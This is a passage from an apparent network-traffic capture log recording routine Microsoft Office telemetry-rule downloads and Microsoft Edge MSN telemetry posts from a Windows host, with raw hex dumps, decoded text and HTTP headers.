2024-11-21 23:12:02 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:02 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:12:03 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:02 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: e365756d-701e-0032-724d-3ca540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231202Z-15b8b599d88wk8w4hC1TEB14b800000000rg0000000028ms x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 23:12:03 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:02 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:12:03 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:03 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bc0c8c97-701e-0053-1e45-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231203Z-178bfbc474bbbqrhhC1NYCvw7400000002a0000000009as2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:12:03 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:03 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:12:03 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:03 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: abaf503b-901e-0064-2b47-3ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231203Z-15b8b599d88wn9hhhC1TEBry0g00000000m000000000q77y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:12:03 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	49917	52.168.117.168	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:03 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732230721116&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11605 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=306F509DFB216A50056745A3FA536B36; _EDGE_S=F=1&SID=0AE532EF421B6DF904C527D143376C7B; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-21 23:12:03 UTC	11605	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 31 54 32 33 3a 31 32 3a 30 31 2e 31 31 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 31 38 66 65 32 64 66 32 2d 64 65 39 66 2d 34 63 63 66 2d 38 61 38 34 2d 39 37 38 34 63 62 30 31 32 63 39 32 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 31 36 35 36 37 37 39 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-21T23:12:01.115Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"18fe2df2-de9f-4ccf-8a84-9784cb012c92","epoch":"2616567796"},"app":{"locale
2024-11-21 23:12:04 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=0c9bfcaa7c524f249435e120ebd2a318&HASH=0c9b&LV=202411&V=4&LU=1732230723677; Domain=.microsoft.com; Expires=Fri, 21 Nov 2025 23:12:03 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=613037eb7665475e9d0c4bcd6b5d79c1; Domain=.microsoft.com; Expires=Thu, 21 Nov 2024 23:42:03 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2561 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 21 Nov 2024 23:12:03 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	49916	52.168.117.168	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:03 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732230721121&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5094 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=306F509DFB216A50056745A3FA536B36; _EDGE_S=F=1&SID=0AE532EF421B6DF904C527D143376C7B; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-21 23:12:03 UTC	5094	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 31 54 32 33 3a 31 32 3a 30 31 2e 31 32 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 31 38 66 65 32 64 66 32 2d 64 65 39 66 2d 34 63 63 66 2d 38 61 38 34 2d 39 37 38 34 63 62 30 31 32 63 39 32 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 31 36 35 36 37 37 39 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-21T23:12:01.120Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"18fe2df2-de9f-4ccf-8a84-9784cb012c92","epoch":"2616567796"},"app":{"locale
2024-11-21 23:12:03 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=624323d361a2413281a67cb7f49db99b&HASH=6243&LV=202411&V=4&LU=1732230723620; Domain=.microsoft.com; Expires=Fri, 21 Nov 2025 23:12:03 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=0afe5c29437e4bc3b546807ea2fd9419; Domain=.microsoft.com; Expires=Thu, 21 Nov 2024 23:42:03 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2499 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 21 Nov 2024 23:12:03 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:03 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:12:04 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:03 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 1a818a33-b01e-005c-4475-3b4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231203Z-174c587ffdf89smkhC1TEB697s00000000rg000000006dsa x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:12:04 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	49921	52.168.117.168	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:04 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732230722120&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9357 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=306F509DFB216A50056745A3FA536B36; _EDGE_S=F=1&SID=0AE532EF421B6DF904C527D143376C7B; _EDGE_V=1; msnup=
2024-11-21 23:12:04 UTC	9357	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 31 54 32 33 3a 31 32 3a 30 32 2e 31 31 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 31 38 66 65 32 64 66 32 2d 64 65 39 66 2d 34 63 63 66 2d 38 61 38 34 2d 39 37 38 34 63 62 30 31 32 63 39 32 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 31 36 35 36 37 37 39 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-21T23:12:02.116Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"18fe2df2-de9f-4ccf-8a84-9784cb012c92","epoch":"2616567796"},"app":{"loc
2024-11-21 23:12:04 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=aab9a8395bad45e7ac9fe738e804a830&HASH=aab9&LV=202411&V=4&LU=1732230724583; Domain=.microsoft.com; Expires=Fri, 21 Nov 2025 23:12:04 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=21c62f6df2b14fcc995036b7eefb6f95; Domain=.microsoft.com; Expires=Thu, 21 Nov 2024 23:42:04 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2463 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 21 Nov 2024 23:12:03 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	49922	52.168.117.168	443	7180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:04 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732230722126&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5320 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=306F509DFB216A50056745A3FA536B36; _EDGE_S=F=1&SID=0AE532EF421B6DF904C527D143376C7B; _EDGE_V=1; msnup=
2024-11-21 23:12:04 UTC	5320	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 31 54 32 33 3a 31 32 3a 30 32 2e 31 32 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 31 38 66 65 32 64 66 32 2d 64 65 39 66 2d 34 63 63 66 2d 38 61 38 34 2d 39 37 38 34 63 62 30 31 32 63 39 32 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 31 36 35 36 37 37 39 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-21T23:12:02.125Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"18fe2df2-de9f-4ccf-8a84-9784cb012c92","epoch":"2616567796"},"app":{"locale
2024-11-21 23:12:04 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=7cc0fdad88ac4477a63e3a09a0046de0&HASH=7cc0&LV=202411&V=4&LU=1732230724800; Domain=.microsoft.com; Expires=Fri, 21 Nov 2025 23:12:04 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=a0cfb27cf25b426b80619027bf11e3a5; Domain=.microsoft.com; Expires=Thu, 21 Nov 2024 23:42:04 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2674 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 21 Nov 2024 23:12:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:12:04 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:12:04 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:04 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2879cce-801e-0047-5869-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231204Z-178bfbc474bbcwv4hC1NYCypys00000001y000000000pp20 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
